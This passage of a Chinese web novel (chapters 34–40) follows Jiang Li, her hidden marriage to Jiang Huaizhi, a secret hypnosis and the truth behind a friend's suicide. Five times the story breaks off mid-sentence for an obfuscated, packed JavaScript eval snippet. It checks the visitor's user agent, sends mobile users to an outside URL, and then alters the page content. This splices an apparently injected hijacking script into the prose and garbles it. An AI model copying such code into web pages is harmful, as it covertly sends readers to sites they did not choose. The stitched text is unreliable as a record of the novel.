“我弟弟跟姜梨小姐有过命的交情,他听姜二小姐提过你,难免对你有些不满,说话会有些难听。”谢鹤枭对江淮之笑了笑,然后起身在一边的柜子抽屉里重新拿了一份新的合同出来,“我们出技术,司家出资金。利益我们只抽三成,剩下的七成归你。” 谢鹤枭把合同放到了江淮之的面前,上面已经提前签好了他的名字。 江淮之秉承着互利共赢的目的,谢鹤枭也不是一个能吃亏的主,他和司氏高层商讨之后拟定的合同比例是四六分。 但是谢鹤枭想的却是三七,并且不是临时起意,而是在提合作的那一天开始,他就是这么打算的,心甘情愿的让司家占尽便宜。 为的,是姜梨。 谢鹤枭看出江淮之心中所想,也无需藏着掖着,直接承认了自己的心思,“樱洲陆家的老爷举办寿宴,我们谢家也收到了邀请函。到时候我会让鹤扬带着这份合同,亲手 交给姜梨。江先生,这是我们谢家送给姜梨的一份谢礼。” “她刚失去至亲,处境我们也略有耳闻,关于她哥哥姜祈安突然离世,我也很意外。”谢鹤枭的眼神逐渐变得有些意味深长,“但是他的死跟毒挂钩,姜氏和沈氏毕竟是一家,难免不会太干净。我们不敢拿谢家百年基业冒险,身份对立,没办法贸然的站队,伸出援手。日后司家若是还有合作意向,我不会推辞。还请江先生,善待她。” 谢鹤扬看了他一眼,眼底划过一丝暗光。 江淮之对上谢鹤枭略带深意的眼神,精准的捕捉到了他话里的关键词。 “跟毒挂钩,姜氏和沈氏是一家,都不太干净。” “身份对立,不敢贸然站队。” “日后司家有合作意向,我不会推辞。” 谢鹤枭这是在告诉他,姜氏也在运毒,所以姜祈安才会死,说明姜祈安的身边出了叛徒,可能还不止一个。 谢鹤枭和江淮之以及韩斯年一样,都是姜祈安的人。 他们是盟友。 第35章 没有一个亿我不要 合同是一式两份,江淮之签完字留给了谢鹤枭,他刚刚已经明确说明过了,这是给姜梨的。 “我现在也想问问谢总。”江淮之盖上笔帽,轻轻的放在了桌子上,“姜梨究竟做了什么,才能让谢总如此青睐有加。” 谢鹤枭没有说话。 他跟姜梨其实还有点私人恩怨在里面,未婚妻差点被一个女人给抢走,换成谁都不会想说出来。 谢鹤扬勾了勾唇,言语间都夹着丝丝的火药味,“简单来讲就是一次意外,被恐怖分子袭击的时候,她给我挡了致命的一枪,救了我的命。然后在等待救援的那一夜,我们两个就私定终身了。” 江淮之一下子就想起来那晚在她背上发现的那个枪伤疤痕,他想过很多种可能,唯独没想到她是为了别人挡枪才受的伤。 挡枪救谢鹤扬的性命,这一点江淮之是信的,确实是姜梨能做出来的事情。但是私定终身这事,他不信。 她总是这样,行个仗义,兜兜转转就走到别人的心里去了,不经意间就把人撩的神魂颠倒。 “是吗?”江淮之嘴角扯起一抹玩味的笑,那双眸子里却没有半分笑意,“从姜梨十四岁开始,我们就在一起生活。别说是枪伤了,她身上但凡多条口子姜祈安都要来找我算账。” “姜祈安没把你弄死已经是看在谢家的面子上了,你居然还有脸说出已经和她私定终身这种话。” 他的语气很平淡,淡到没有任何情绪波动,只是在平静的叙述,但是谢鹤扬还是感受到了来自江淮之身上的森冷,酷寒。 谢鹤扬无所谓的耸耸肩,自动忽略了前半段对他的声讨,继续在火上浇油,“江先生这是不信?那你回去问问你妹妹,问问她,当时是不是说过要跟我一辈子锁在一起的。” 张嘴就开始胡说八道,对江淮之的敌意和怨气已经快冲上云霄了。 “我这是提前给江先生打个预防针。”谢鹤扬微微垂下眼皮,笑的越来越张扬,“来日我一定会上门提亲,娶姜梨。” 江淮之看着他,“那我等着谢二少,喝姜梨的喜酒。” . 叶辞把姜梨给的礼服图片发给了他认识的专柜经理,要他们定制一件一模一样的出来。 照片发过去没两分钟,那边的电话就打了过来。 “叶先生,您要求定制的礼服款式有点特殊,我们可能需要过问一下陆总。” 这个专柜是陆家旗下的品牌,这一板块,是陆家老四陆临在管。 礼服款式并不复杂,也并不特殊。 哪里需要这么兴师动众的去请示陆临? 叶辞“嗯”了一声,想到姜梨一直都想见陆家人,他眼里话过一丝光,补了一句:“如果陆临问起的话,直接告诉他,礼服款式的图片是姜二小姐拿出来的。” “是,叶先生。” 姜梨躺在宿舍的床上,眼睛紧闭,好看的眉毛蹙了起来,额头上沁上了一层细密的汗珠。 刀尖刺进肉体,然后又拔出来,再刺进去。 腥红温热的液体溅到了姜梨的脸上,然而血腥的场面却被一层白雾给蒙住了,她看不清周围的场景,只能听到痛苦的闷哼声,男人的咒骂声。还有鼻尖弥漫着的,浓烈的血腥味。 耳边突然炸起来一个男音,几近崩溃的对她嘶吼,“姜梨你快跑!别回头!” 她为什么要跑?是谁让她跑? 是谁? 姜梨伸出手,想把眼前的浓雾都拨开,想看清楚究竟发生了什么。浓雾中,对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293824|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出一双手将她推了出去。 “姜梨,忘记我也没关系,不要再回头。” 中午安静的宿舍里骤然响起几声低泣,浅眠的许雾听到这个声音猛然惊醒,从床上坐了起来。 是姜梨在哭。 她快速的爬下床,来到姜梨的床边,喊了她几声,没有得到回应。 许雾心里一紧,只好拉开床帘去看她的情况。 汗水打湿了额前的碎发,眼泪从眼角滚落下来,掉进头发里,嘴里口齿不清的喊着什么。她的脸泛着不正常的红,像是在发烧。 “姜梨,醒醒。”她出了太多汗,许雾摸不出来,只能伸手轻轻晃动着她的身体,把她晃醒。 姜梨从梦中惊醒,双眼瞪大,眸子里是化不开的恐惧和悲伤。她的头连同全身的骨头都痛的像是被人硬生生撕开一样。 更加痛的,还有胸腔里的那颗心脏。空落落的寂寥感,从心脏蔓延至四肢百骸,让她半天都没办法开口说出一个字。 许雾见她醒了,在自己的书桌上找到体温计,把温度甩下去然后递给她,“量一下,看看是不是发烧了。” 姜梨机械般的抬起胳膊,将体温计接了过来,夹在了腋下。 几分钟后,姜梨抽出来,看了一眼温度。 三十九度。 难怪她的头和全身的骨头会这么痛,难怪全身都没什么力气,也难怪会突然做一个这样无厘头的梦。 都快被烧傻了。 “你还能起来吗?”许雾把体温计收回壳子里,看着姜梨问她,“起不来的话我抱不动你哦,要不要告诉叶辞,让他送你去医院?或者我直接给你打120也行 。” 这章没有结束,请点击下一页继续阅读! 第36章 我只对你妹妹感兴趣 手机在手里不断的震动,姜梨的那颗心也颤了一下。犹豫了一下,还是接了起来。 江淮之的长腿微曲,眼皮微垂,声音是说不出来的柔和,“生气了?” 姜梨喝了一口水,润了一下有些干涩生疼的喉咙,让声音听起来没有那么哑,“我哪里敢和江总生气?而且气大伤身,我惜命。” 称呼都变成江总了,还说没有生气。 江淮之有些想笑,“我可以解释,但不是现在。” “怎么?还没有找到一个充分的借口是吗?那你给我打电话干什么?” “我和谢总在一起。”江淮之听着她快炸毛的声音,看了一眼站在不远处在和珠宝商交谈的两个人影,“就是谢鹤枭和………谢鹤扬。” 他特意咬重了“谢鹤扬”三个字,姜梨听到这两个名字时,手都控制不住的抖了一下,手机差点滑掉下去。 江淮之认识谢鹤枭和谢鹤扬!? 姜梨皱眉,“那个,你跟他们……很熟吗?” “嗯,有合作。” 那就是没有很熟,姜梨这才微微松了口气。 “我在新闻上看到了,你和谢鹤扬在拍卖会上抢姑娘。外面人都说你是为了讨你那个小助理开心才费尽心思的去救她的妹妹,所以就算是被谢鹤扬挑衅了也甘之如饴。” “但是我不那么觉得。”姜梨冷笑了一下,又阴阳怪气起来,“你分明就是有姐姐还不够,看人家的妹妹长得漂亮,干脆就左拥右抱了,谢鹤扬估计不知道你是个烂仔,他没有你变态当然抢不过你。” 听得出来,姜梨心里对他的的怨气是挺大的。 不过,说出来的话是江淮之爱听的。 谢鹤扬抢不过他。 江淮之,“都没你漂亮,等我回去再跟你解释。乖宝宝,现在先挑东西好不好?新婚礼。” 姜梨听到他喊的这一声,耳朵都麻了,手下意识缩了一下,差点把手背上的针头都给扯掉。 谢鹤扬刚好听到江淮之说出来的这一句话,眉毛不受控制的扬了一下。 新婚礼? “江先生结婚了?” 江淮之“嗯”了一声,“她不想让别人知道这件事,所以我们没有对外公布。” 停顿了一下,一字一句道:“她想,各玩各的。” 啧,北城人居然也玩的这么花。 尤其是江淮之这样的,表面上一副谦谦公子的样子,背地里原来是个咸湿佬。 姜梨喜欢这样的,眼睛莫不是瞎了? 还是说,她喜欢的是江淮之这张脸? 江淮之嘴角挑起一抹轻挑的笑,“谢二少对我的妻子似乎很感兴趣,你要跟她说两句?” 妈的。 姜梨敢肯定江淮之是故意的!并且他已经知道她和谢鹤扬有交情了! 谢鹤扬这个王八蛋肯定是和江淮之说了给他挡枪子儿的那件事!她要是早知道江淮之会和港城谢家谈合作,肯定会提前告诉谢鹤扬不要乱讲话。 早知道!早知道就多问江淮之两句了! 姜梨现在心里悔恨莫及,恨不得穿越回去,问完之后早做准备。 “我对江太太不感兴趣。”谢鹤扬眉眼含笑,带着些许挑衅,“我只对江先生的妹妹感兴趣。” “听到了吗?”江淮之的语气幽深,“有时间去看看姜二梨,不要让她乱跑,免得被骗子给骗走。” 姜梨只觉得这两个人多少都有点毛病,气得太阳穴“突突”跳,感觉降下去的温度又升了上来。 谢鹤扬听他说的这句话,没好气的笑了一声,谁能骗走姜梨那朵盛世黑莲? “我靠!姜梨!”许雾一手拎着一袋子的药,一手拿着银行卡和缴费单走进来,一眼就看到了输液管里的一截红色,惊呼了一声,“回血了!你在干嘛!” 许雾离得远,江淮之听的不太真切,只听到了“回血”两个字。 还没等他问出口,姜梨骂了一句“有毛病”以后就直接把电话挂断了。 姜梨挂断电话,腾出手按了一下呼叫铃,然后给江淮之回了条信息,说要红钻戒指。 她看上的那枚戒指确实是这里面最亮眼的,戒托是不规则的环形,围绕着那颗心形的红钻,在灯光下熠熠生辉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293825|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜梨的手长得很漂亮,能想象的出这枚戒指戴在她手上有多好看。 谢鹤枭对江淮之其实多少是有点钦佩的。 接管司家不到两年,就直接把它送上了空前的高度。别说是北城和樱洲了,就算是港城,司家也不会比谢韩两家低。 这次的合作就算是抛开姜梨这一层关系,也会很愉快。 姜祈安看中的人,没有废物。 所以他才会带江淮之过来这家珠宝店,让他从一众珍品中挑几件,就当是提前庆祝他们合作愉快,赢得漂亮。 哪里知道江淮之会看上戒指?还是女款。 想到这几天的那些绯闻,谢鹤枭扬了扬眉稍,“送女朋友?” 江淮之,“送给我的新婚妻子。” 和谢鹤扬一样,谢鹤枭也很惊诧,很快就想明白了其中的弯弯绕绕。 隐婚。 谢鹤枭笑了笑,没有多问,“那 就当做是给江先生的新婚贺礼吧。水到渠成的时候,记得请我喝喜酒。” “一定。” . 姜梨毫无意外的跑针了,手背鼓了一个包,又重新在另一边扎了一针。 在心里把江淮之和谢鹤扬这两个人轮番骂了一个遍,两个有毛病的男人。 姜梨靠在床头,唇色很淡,看着极其的虚弱。许雾按照医嘱,给她冲了一包退烧药,等水温不那么烫了才递到她手里。 “你难道还想着南诗奕吗?她不过是一个戏子!你已经因为她悔婚过一次了,这么多年过去了,你还要悔婚第二次吗!” 突然,姜梨握着杯子的手一顿。下一秒,她抬起另一只手拍了拍耳朵,确认自己没有听错。 声源在隔壁。 姜梨的脸色微微一变,立刻放下杯子,掀开被子爬起来,拖着输液架就往外走。 与其说是走,倒不如说是跑。 许雾被吓了一跳,起身想跟上去,却被姜梨制止了。 “我去上个厕所,马上就回来,你不用来。” 说完,她的身体拐了个弯,消失在了许雾的视线里。 第37章 到死都不知道爱错了人 当年沈月汐制造出来的那一场意外不仅害的林遥丧了命,姜梨的眼睛也因此失明。那一段极致黑暗的日子里,倒是造就了她极其灵敏的听力。 她站在了这个单人病房的门外,隔着一道紧闭的房门,听着里面传出来的“噼里啪啦”的动静,像是有人在肆意破坏,发泄着情绪。 “为什么!凭什么!” “我到底哪里比不得她?我是陆家的千金小姐,她只是一个上不得台面的戏子!难道就因为她故意在我们订婚宴的那天跳楼自杀,然后死掉了。我就活该被你当众抛弃,活该被悔婚成为别人的笑柄吗?现在你还想让我去跟爷爷说再等等,我已经等了三年了!你还要我等多久?” 女人的声音歇斯底里,声线颤抖。 司南赫看着满脸泪水的陆诗予,眼里划过一丝痛苦,过了很久,他才缓缓开口:“我答应过陆璟,会护她周全。但是你诬陷她跟陆叔叔通奸的时候,我不分青红皂白的袒护了你,是因为这个她才会在我们订婚宴那天跳楼自杀的。我会娶你,但是不是现在。诗予,我……” 陆诗予讥讽的笑了起来,“司南赫,那难道不是你们逼我的吗?明明我才是你的未婚妻,南诗奕明明知道这一点,还要爬上你的床!我只是教训她一下,我有什么错!而且陆璟早就已经死了!你就这么听一个死人的话吗?” 姜梨脸上的血色瞬间褪尽,变得惨白。眼睛不可抑制的瞪大,眼中满是错愕。 南诗奕跳楼的那天,是司南赫和陆诗予的订婚宴?诬陷南诗奕跟陆叔叔通奸?是陆诗予她爸爸吗? 还有,她刚刚在说什么?陆璟死了? 陆璟不是一直在国外吗?怎么会死! 陆诗予说的这段话,信息量实在是太大,让姜梨的脑子都有些发晕。 怪不得南诗奕会突然跳楼,原来是这样,居然是这样!陆诗予污蔑她和自己的父亲通奸,这种事情她也敢做!还说的那么理所应当! 不用想,姜梨都能知道南诗奕会陷入一个怎么样的境地,司南赫却没有站在她那边,而是成了另一把锋利的刀。 他们怎么不去死! “你以为南诗奕是真的爱你吗?”陆诗予随意薅了一把散乱的头发,踢开地上的碎瓷片,一步一步走到司南赫面前,仰头看着他,“南诗奕这么缺爱,谁对她好她就爱谁。她爱的是那个当初救了她性命的人,帮她摆平她生父生母的人,替她捐了一颗肾的人。” 陆诗予的手轻轻拍着司南赫的脸颊,脸上笑意越来越浓,她的眉毛扬起,指甲划过司南赫的下巴,“是你一直在骗她说那个人是你,她信了,所以才这么辛苦的爱着你,爱到丢了命。可事实是什么?为她做这些的人,是陆璟啊。” “司南赫,你现在来跟我说你答应过陆璟的承诺不觉得太可笑了吗?你能骗她,是因为死人不会说话。” 轰—— 像是有一道惊雷劈在了姜梨的头顶,一瞬间她全身的血液快速的结冰,凝固,全身都是刺骨的冷。 像是一把刀插在她的心口,不断的转动,将心脏和五脏六腑都搅得稀碎。 南诗奕一直都在疑惑,为什么之前那么爱她的司南赫,突然之间就不再爱她了。 却不知道,一直在爱她的人,根本就不是司南赫,是陆璟。 她从来都不是死缠烂打的人,她不是没想过放弃,但是却又因为这几件事情说服了她自己,爱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293826|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司南赫一年又一年。 司南赫就这样心安理得的用别人的成果,牢牢的把南诗奕困在了原地,止步不前。 他还是人吗?怎么可以用这种事情来说谎! 南诗奕到死都不知道,自己爱错了人,白白的搭上了一条命。 她到死,都不知道。 姜梨的心脏开始剧烈的抽痛起来,脖子上都爆起了青筋,呼吸开始变得急促,耳边是一阵嗡鸣,身体一瞬间就被抽光了所有的力气,直挺挺的倒在了地上,眼泪不受控制的从眼眶中溢出来。 输液架倒在了地上,针头脱落,鲜血渐渐染红了手背,是刺眼的红。 她全身的肌肉都在筋挛,全身的骨头在一寸寸的断裂。 视线被泪水模糊,姜梨的肺被一只手死死的捏住,空气逐渐变得稀薄,她的脸因为呼吸苦难由苍白变得通红。 这种感觉,是熟悉的濒死感。 “有人晕倒了!” 来往的人被倒在地上的姜梨吓了一跳,没有人敢上前去扶她,只能大声的呼叫护士和医生。 许雾听到了外面的动静,走出去看到了被人群围在中间的人,脸色一瞬变得惨白,“姜梨!” “都让开!都让开!” 姜梨被两名医护人员抬上了担架,一群人把人送进了抢救室。 许雾站在抢救室门外,拿手机的手都在不停的抖,解锁时按了好几遍才成功。 她没有叶辞的联系方式,只能给和姜梨交情很深的阮经颜打电话。 “阮学姐!你现在赶紧来樱洲医院一趟!姜梨出事了!” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第38章 不能说哦,他会弄死你的 安静的病房里,叶辞和阮经颜两个人坐在姜梨床边,都没有开口说话。 姜梨因为镇定剂的缘故,那股子要冲破身体的愤怒被强制性压了下去,剩下的只有噬骨的难受。 阮经颜不断的帮她擦掉从眼睛里滚出来的眼泪,怎么都擦不干。 叶辞问阮经颜,“医生到底跟你说什么了?怎么突然要把洛骞叫过来?” “情绪起伏波动太大,在抢救室里都被绑了,几个护士都摁不住她。”阮经颜没有把姜梨被催眠过的事情告诉叶辞,她总觉得这个事情不能说,“就这种状态,不找洛骞过来,等着她发疯吗?” 姜梨从抢救室里出来到现在都没说过一句话,眼泪倒是一直掉个不停。 叶辞抿了抿唇,没有再说话。 天色渐渐黑了下来。 一个身穿黑衣的男人匆忙的跑进了医院,黑色的外套里还穿着没来得及脱下来的白大褂,高挺的鼻梁上架着一副金边眼镜,口罩遮住了大半张脸。 镜片后那双蓝色的眸子格外漂亮,引来不少人的视线。 突然他的眼神顿了顿,在迎面走来的司南赫那张脸上停顿了几秒钟,司南赫在接电话,擦肩而过的时候,洛骞听到了这么一段话。 “诗予情绪现在不稳定,她现在看到我会发疯,你赶紧过来。” 那边不知道说了什么,司南赫的脚步停了一下,然后说了一句:“订婚的事,我还想再等等。” 洛骞眼神暗了暗,然后越过他走进了大楼。 怪不得姜梨会失控,原来是因为这里有畜生啊。 洛骞没有坐电梯,直接走楼梯爬上了四楼,找到了房间号,推门而入。 坐在床边的两个齐齐回头,叶辞说了一句:“洛医生来得太慢了。” “这么突然,我肯定要先把手里的病人看完才能走。”洛骞走上前,看着床上毫无生气的人,把口罩摘了下来,“你们两个先出去,我单独跟她谈。” 叶辞和阮经颜双双站了起来,退了出去。 病房里骤然安静了下来,衣服布料摩擦以及椅子被拉开的声音都格外的明显,很刺耳。 姜梨的手和脚被牢牢的绑着,眼圈很红,这样看上去更加的破碎。 洛骞滑动了一下输液管上的开关,把速度调慢了一些,然后坐了下来,“除了司南赫要跟陆诗予订婚的事,你还知道什么了?跟我说说呗,我挺好奇的。是什么样的话,能把你气成这个样子。” 单单只是因为陆诗予和司南赫要订婚了,姜梨的反应不可能会这么大。姜祈安死的时候,她的反应都没这么大。 上一次经历这种状态,还是林遥死的时候。 姜梨的手指动了动,然后直直的盯着他。 洛骞被她这个眼神看的心头一跳,赶紧解释,“别这么看我,我是刚刚来医院的时候正好撞到司南赫在打电话听到的,我之前可不知道这件事哦。” 她不是想问这个。 “你早就知道陆诗予和司南赫的关系了,是不是?” 洛骞一下子噤了声,默认了。 姜梨悠悠的笑了一声,洛骞怎么可能会不知道?南诗奕曾经也是他的病人,一个合格的心理医生最基本的就是让自己的病人相信自己。 洛骞在这个领域,更是佼佼者,南诗奕不愿意对外人提及的一些事情,肯定会告诉洛骞。 “南诗奕有没有跟你提过陆璟?” “啊……”洛骞应了一声,“陆家的老大,和南诗奕一起来我这复诊过。” 姜梨的声音哽了一下,“那她有没有和你说,陆璟已经死了。” 什么?陆璟死了? 这下洛骞懵住了,南诗奕没有跟他说过这个事情,只说陆璟被送出国了,他们很久不联系了而已。 姜梨盯着他的脸,洛骞错愕的表情已经说明了答案。 南诗奕,不仅不知道救她性命的人是陆璟,也不知道陆璟为她丢了一颗肾,甚至都不知道陆璟已经死了。 凌乱的思绪逐渐变得清晰,结成了一张网,网住了心口,越是挣扎,裹的就越紧,痛苦难受到极致却又无法发泄出来。 姜梨无意间听到的真相,是南诗奕到死都不知道的。 姜梨想毁天,想灭地。 她觉得,那一针镇定剂根本就是来要她的命的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293827|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没有扎针只贴着白色医用创口贴的那只手弯出了不可思议的弧度,手指一点点的扣着绑在床上的带子,想要将它解开。 只剩下一双能落泪的眼睛,和一张能嘶吼的嘴。 洛骞轻轻捏住她那只要作乱的手,手掌一下一下的摸着她的头发,安抚意味很浓。 也许是因为镇定剂的作用,也许是洛骞的这个动作,又或许是姜梨累了,就这样哭了十几分钟,眼皮慢慢阖上,睡了过去。 姜梨的烧已经退了,明天就可以出院。 “你们两个要不先回去。”洛骞来到病房外,看着叶辞和阮经颜,“今晚我在这看着她。” 叶辞抬起眼皮问他,“姜梨怎么样了?” 洛骞很有职业道德,病人对他说过的话他自然不会告诉别人,“睡着了,没什么大事,明天她出院了我带 她去我那里看看,开导开导就行。” 叶辞和阮经颜一起下了楼。 刚出电梯,阮经颜的眼中划过一丝暗光,然后“啊”了一声,对叶辞道:“你先回去吧,姜梨的手机和身份证还在我这,忘记还了。” 说完不等叶辞回答,转身利落的又退回了电梯里。 洛骞没有回病房,一直都在走廊上的椅子上坐着,看阮经颜又回来了,一点都不意外,他就是在这等她的,“说吧,什么事?” “刚刚医生跟我说,姜梨做过催眠。”阮经颜看着洛骞,试探性的问了一句:“是你给她做的吗?” 洛骞的身体僵了一下,想了想,然后承认了,“是我做的。” 阮经颜皱眉,“为什么?” “至于为什么………”洛骞沉默了好一会,过了许久才一字一句道:“不做的话,她很大可能会死。” “什么时候的事?姜梨自己知道吗?” “这个我无可奉告,姜梨她也不知道。阮小姐千万不能告诉任何人哦,尤其是姜梨。”洛骞突然站了起来,一只手搭在了阮经颜的肩膀上,蓝色的眸子微微眯起,警告意味很重,“你要是说出去了,江淮之可不会管你是不是姜梨的老同学,好朋友。” “他一定会弄死你的。” 第39章 我们谈谈南诗奕的事情 阮经颜听到洛骞说的话,瞳孔猛缩了一下。 既有震惊,也有害怕。 江淮之也知道吗?就姜梨一个人不知道? 洛骞说的那句,江淮之会弄死她,阮经颜一点都不怀疑这句话的真实性。 别人或许还以为洛骞是在吓唬她,但是阮经颜可是亲眼看到过江淮之是怎么对待沈月汐的。 一想到她看到的那个场景,阮经颜的身体就忍不住打颤了一下。 “知道你担心朋友,这很正常。”洛骞见她被吓到了,把手收了回来,表情迅速恢复如常,对阮经颜简单的解释,“这件事情不让她知道才是在保护她,催眠是姜祈安同意的,不会害她。” “你就当作是不知道。” 阮经颜艰难的咽了一下口水,“那……那个医生………” “我会告诉江淮之,他会处理。” 处理!?怎么就谈上处理了?江淮之他该不会是要灭口吧? “没那么可怕。”洛骞看出来阮经颜的想法,抬手捏了捏眉骨,“大概就是给他一笔钱封口。” 这话说出来,洛骞心里都有些心虚。 江淮之这么疯,虽然不至于要去灭口,但是绝对不只是拿钱封口这么简单。 “那个。”阮经颜深吸了一口气,“姜梨今天来医院的事,江淮之不知道。洛医生应该知道该怎么说吧?” 洛骞挑眉,“明白。” . 点滴已经打完了,护士来给姜梨拔了针。 两只手背都是惨不忍睹,肿起来的地方还没消,另一只又是一大片淤青。 药物作用她睡的挺沉,但是也不安稳,被绑着的手脚都在无意识的挣扎,口齿不清的在喊着什么。 “司韩野,司韩野……快跑……” 洛骞的身形蓦然一顿,眼睛沉沉的盯着姜梨,确认她是在做梦,没有要醒来的迹象后替她掖了一下被子,然后拿起手机走了出去。 电话铃声响了十几秒才被接起来,洛骞直奔主题,“说件事,姜梨可能要不了多久就要恢复记忆了。” “她找你了?” “姜梨一直追问我,司韩野是谁。她这几天一直做梦,我随便找了个借口给搪塞过去了。” “有办法解决吗?” 洛骞:“没有,我只是来给你打个预防针。” 江淮之一手拿着手机,一手握着一把水果刀的刀把,轻轻的旋转了一下。被五花大绑捆在椅子上的男人双眼发直,紧接着就是一声惨叫。 凄厉的惨叫声在空荡潮湿的地下室里回荡,透过听筒传进了洛骞的耳朵,让他的心头猛跳了一下,语调拔高,“你在干嘛?” 江淮之拔出刀,鲜红的血液顺着刀刃滴落在地上,他用刀尖轻轻挑起男人的下巴,声音淡淡,“没干什么,你听错了。” 站在旁边的韩斯年和谢铭:“………” 洛骞没说话,江淮之继续问他:“你说的要不了多久大概是多久?” “受刺激会加快,也就几个月。正常情况下,可能一两年吧。”洛骞眼睛都不眨的撒了一个谎,“姜梨这两天头疼多梦,她自己也害怕,就和阮经颜去医院看了医生,那个医生估计看出来什么了,偷偷的问阮经颜知不知道姜梨被催眠过。” “阮经颜那边我已经打过招呼了,她不会告诉姜梨。”洛骞斟酌了一下,问他:“那个医生,怎么处理?” 江淮之表情不变,“把人调到别处,离得越远越好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293828|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “OK。”洛骞了然,这个处理方式,确实是江淮之的风格,“那就这样,byebye!” 电话挂断,江淮之“咣当”一声扔掉手里的刀,站起来居高临下的看着已经晕死过去了,“把这个人交给警方,让他们去查,你不要插手,无端惹来嫌疑。” 这也是江淮之这次来港城的最重要的目的。 韩斯年早就已经发现了这个人的尾巴,偷偷的在韩家的货船上放了违禁品,和楚家那边苟合,利用韩家的便利,参与了运毒。 他已经提前报了警,和警方通了气,韩家不会因此而染上污点,但也会受到不小的冲击。 韩家沦陷正好可以当个烟雾弹,让楚家那边放松警惕。 这个人的骨头很硬,被折磨这么久,愣是不肯说他背后的人是谁。 只不过江淮之把人搞成了这副鬼样子,这样交给警方,怕是会不好吧……… “那不是我该想的事。”江淮之一眼就看穿韩斯年在想什么,笑了一下,“毒贩,人人得而诛之,至于跟警方怎么交谈,你自己看着办。” 韩斯年:“………” 这是人干出来的事吗? . 洛骞按照江淮之说的,动用了一点关系,让医院把那个医生调到了别处。 姜梨从一醒来,就开始说自己的头很痛。 痛的“啪嗒啪嗒”掉眼泪,不像是因为心情不好掉的泪,是真的痛哭的。洛骞快速的给姜梨办完了出院手续,带着她去了自己工作的医院,精神卫生中心。 给她安排了全套的检查,包括不限于脑电图和心电图,检查结果也都还行,没什么太大的问题。 这章没有结束, 请点击下一页继续阅读! 第40章 你的脑子离家出走了吗 姜梨听过陆临的名字,是陆家的老四。 她就说怎么觉得在哪看过这张脸,陆家这三兄弟长得还是很像的,虽然都不是一个妈生的。 陆临的年纪跟姜梨差不了多少,二十四五岁。但是出了名的狠辣,陆家易主的时候,这位和陆七斗的不相上下。 她听姜祈安说过,陆七差一点被陆临搞死。 所以姜梨并不觉得陆临会是什么好人,她抿了抿唇,往后退了一步,“我听不懂你在说什么,我不认识你,和你没有什么好谈的。” 陆临懒散的靠着车窗,倒是有些意外。姜梨的防备心,居然还挺重。 他长得很吓人吗? “姜二小姐,我是陆家人。”陆临摇头,轻笑了一声,“不是司家人,对我承认认识南诗奕并不会被灭口。” 她是害怕这个吗? 南诗奕不是那种会单纯为情自杀的人,司家和陆家穿同一条裤子那么久,南诗奕和他们的关系又都那么密切,除了司南赫,两家人中的其他任何一个人也都可能是逼死南诗奕的推手。 “我真的听不懂你在说什么。” 陆临的脑袋微微偏了偏,在看到隐藏在角落里的人时,眸子里染上了一层笑意,“有时候不大胆一点,就得不到自己想要的东西。比起司南赫,我和阿南姐才更像是姐弟。你要做的事情我比任何人都清楚,你要的那条礼服,原版现在还挂在我的衣柜里。” “不过叶二少的防备心也挺重的,人是他放我来找的,背地里却特意找了保镖跟着你。” 姜梨怔了一下,下意识环绕四周,瞬间明白了这其中的弯绕。 叶辞拿着照片去找人定制礼服,误打误撞的选了陆家旗下的品牌,然后就这样传到了陆临手里。 